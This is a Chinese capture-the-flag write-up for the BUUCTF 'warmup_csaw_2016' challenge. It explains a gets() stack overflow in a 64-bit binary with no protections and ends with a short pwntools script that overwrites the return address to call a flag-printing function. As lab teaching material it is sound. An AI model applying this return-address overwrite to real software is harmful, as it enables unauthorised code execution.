• [BUUCTF]PWN3——warmup_csaw_2016


    [BUUCTF]PWN3——warmup_csaw_2016

    题目网址:https://buuoj.cn/challenges#warmup_csaw_2016

    步骤
    例行检查,64位,没有开启任何保护
    在这里插入图片描述
    nc一下,看看输入点的字符串,看到回显了一个地址,之后让我们输入,输入完之后就退出了
    在这里插入图片描述
    用64位ida打开附件,首先shift+f12查看程序里的字符串,可以看到有一个“cat flag.txt”字符串引人注目
    在这里插入图片描述
    双击字符串跟进,ctrl+x查看哪个函数调用了这个字符串,找到函数后按f5反编译成我们熟悉的伪代码

    在这里插入图片描述
    可以看到sub_40060D()这个函数的作用就是输出flag的文件信息,记一下这个函数地址,flag_addr=0x40060D

    之后回到查看字符串的窗口,根据之前nc时看到的字符串找到输入点
    (我们一般做题的时候应该从main函数开始看程序,了解程序的逻辑,只是我感觉根据nc得到的输入点的字符串能更快的找到输入点,看看输入点是否存在漏洞,一般输入点的函数就是main函数,或者被main函数调用)
    在这里插入图片描述
    输入点在第11行,gets函数没有限制我们写入字符串的长度,存在溢出漏洞,然后看到ida反编译出来v5的大小是0x40,只要我们输入的字符串长度=0x40+8(64位ebp的长度)即可溢出到返回地址,然后将返回地址覆盖成读出flag的那个函数地址即可完成利用

    from pwn import*
    
    r=remote('node3.buuoj.cn',27119)
    flag_addr=0x40060D
    
    payload='a'*(0x40+8)+p64(flag_addr)
    
    r.sendline(payload)
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    【流水账】2021-06-19 Day-09
    【流水账】2021-06-18 Day-08
    【流水账】2021-06-16 Day-06
    【流水账】2021-06-15 Day-05
    .Net调用Java的实现方法
    优先队列的实例题
    栈的相关程序题
    重载函数
    卡特兰数
    关于全排列的递归
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273730.html
Copyright © 2020-2023  润新知